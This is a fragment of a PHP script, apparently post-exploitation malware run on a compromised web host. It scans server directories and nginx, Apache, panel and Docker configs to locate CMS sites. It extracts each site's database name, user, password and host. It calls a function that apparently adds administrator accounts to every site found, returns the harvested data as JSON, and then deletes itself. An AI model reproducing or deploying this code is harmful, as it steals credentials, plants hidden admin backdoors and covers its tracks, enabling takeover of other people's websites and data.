'/opt']; $SKIP_DIRS = ['.git', 'node_modules', 'vendor', 'cache', 'tmp', '.cache', '.npm', '.composer', 'log', 'logs', 'backup', 'backups', 'storage', 'uploads', 'media', 'images', 'wp-admin', 'wp-includes', 'wp-content']; $found = []; $foundRoots = []; foreach ($srs as $sr) { if (!is_dir($sr) || !is_readable($sr)) continue; try { $it = new RecursiveIteratorIterator( new RecursiveCallbackFilterIterator( new RecursiveDirectoryIterator($sr, RecursiveDirectoryIterator::SKIP_DOTS), function ($current) use ($SKIP_DIRS) { if ($current->isDir()) { if (in_array($current->getFilename(), $SKIP_DIRS)) return false; if (!$current->isReadable()) return false; } return true; } ), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD ); $it->setMaxDepth(6); } catch (\Throwable $e) { continue; } foreach ($it as $fi) { try { if (!$fi->isDir() || !$fi->isReadable()) continue; $root = $fi->getPathname(); $realRoot = @realpath($root); if (!$realRoot || isset($found[$realRoot])) continue; $skip = false; foreach ($foundRoots as $fr) { if (strpos($realRoot, $fr . '/') === 0) { $skip = true; break; } } if ($skip) continue; $det = dcms_check_self($root); if ($det) { $found[$realRoot] = 1; $foundRoots[] = $realRoot; $domain = cfg2d($det['cc']); if (!$domain && $det['cm'] === 'WordPress') $domain = wpdb2($det['cc']); if (!$domain) $domain = guessDomain($root); ar($domain, $root, [ 'cms' => $det['cm'], 'cms_config' => $det['cc'], 'db_name' => $det['dn'], 'db_user' => $det['du'], 'db_pass' => $det['dp'], 'db_host' => $det['dh'], 'source' => 'filesystem' ]); } } catch (\Throwable $e) { continue; } } } } function guessDomain($root) { if (preg_match('#/data/www/([^/]+)#', $root, $m)) return $m[1]; if (preg_match('#/web/([^/]+)/public_html#', $root, $m)) return $m[1]; if (preg_match('#/home/[^/]+/([^/]+)/public_html#', $root, $m)) return $m[1]; if (preg_match('#/vhosts/([^/]+)/httpdocs#', $root, $m)) return $m[1]; if (preg_match('#/var/www/([^/]+)$#', $root, $m)) return $m[1]; if (preg_match('#/srv/([^/]+)#', $root, $m)) return $m[1]; return basename($root); } function guessDomainFromRoot($root, $parentDomain) { $subFolder = basename($root); if (strpos($parentDomain, '.') !== false) { return "{$subFolder}.{$parentDomain}"; } return "{$parentDomain}/{$subFolder}"; } function enrich() { global $R; $newEntries = []; foreach ($R as $key => &$info) { if ($info['cms']) continue; $dr = $info['docroot']; if (!$dr || !is_dir($dr) || !is_readable($dr)) continue; $allCms = dcms_all($dr); if (empty($allCms)) continue; $first = $allCms[0]; $info['cms'] = $first['cm']; $info['cms_config'] = $first['cc']; $info['db_name'] = $first['dn']; $info['db_user'] = $first['du']; $info['db_pass'] = $first['dp'] ?? ''; $info['db_host'] = $first['dh']; for ($i = 1; $i < count($allCms); $i++) { $cms = $allCms[$i]; $realCc = @realpath($cms['cc']); $alreadyExists = false; foreach ($R as $existingKey => $existingInfo) { if (isset($existingInfo['cms_config'])) { $existingReal = @realpath($existingInfo['cms_config']); if ($existingReal && $existingReal === $realCc) { $alreadyExists = true; break; } } } if ($alreadyExists) continue; foreach ($newEntries as $neKey => $neInfo) { $neReal = @realpath($neInfo['cms_config']); if ($neReal && $neReal === $realCc) { $alreadyExists = true; break; } } if ($alreadyExists) continue; $subDomain = guessDomainFromRoot($cms['root'], $key); $realDomain = cfg2d($cms['cc']); if ($realDomain) $subDomain = $realDomain; $newEntries[$subDomain] = [ 'docroot' => $cms['root'], 'web_config' => $info['web_config'] ?? '', 'cms' => $cms['cm'], 'cms_config' => $cms['cc'], 'db_name' => $cms['dn'], 'db_user' => $cms['du'], 'db_pass' => $cms['dp'] ?? '', 'db_host' => $cms['dh'], 'source' => 'sub-cms', 'ssl' => '' ]; } } foreach ($newEntries as $domain => $entry) { if (!isset($R[$domain])) { $R[$domain] = $entry; } } } try { if (function_exists('posix_geteuid') && posix_geteuid() !== 0) { $warnings[] = 'Not running as root — scan may be incomplete'; } scan_nginx(); scan_apache(); scan_panels(); scan_ssl(); scan_docker(); scan_fs(); enrich(); $seenConfigs = []; $deduped = []; foreach ($R as $key => $info) { $cc = $info['cms_config'] ?? ''; if ($cc) { $realCc = @realpath($cc) ?: $cc; if (isset($seenConfigs[$realCc])) continue; $seenConfigs[$realCc] = true; } $deduped[$key] = $info; } $R = $deduped; $out = [ 'status' => 'OK12345', 'warnings' => $warnings, 'total' => count($R), 'sites' => [] ]; ksort($R); foreach ($R as $key => $i) { $site = [ 'domain' => $key, 'docroot' => $i['docroot'] ?? '', 'web_config' => $i['web_config'] ?? '', 'cms' => $i['cms'] ?? '', 'cms_config' => $i['cms_config'] ?? '', 'db_name' => $i['db_name'] ?? '', 'db_user' => $i['db_user'] ?? '', 'db_pass' => $i['db_pass'] ?? '', 'db_host' => $i['db_host'] ?? '', 'source' => $i['source'] ?? '', 'ssl' => $i['ssl'] ?? '', 'added_user' => '', 'added_pass' => '' ]; if ($site['cms']) { addAdminToSite($site); } $out['sites'][] = $site; } echo json_encode($out, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); } catch (\Throwable $e) { echo json_encode([ 'status' => 'error', 'message' => $e->getMessage(), 'file' => $e->getFile(), 'line' => $e->getLine() ], JSON_PRETTY_PRINT); }"));

}

echo $result[1];

}
unlink($_SERVER["SCRIPT_FILENAME"]);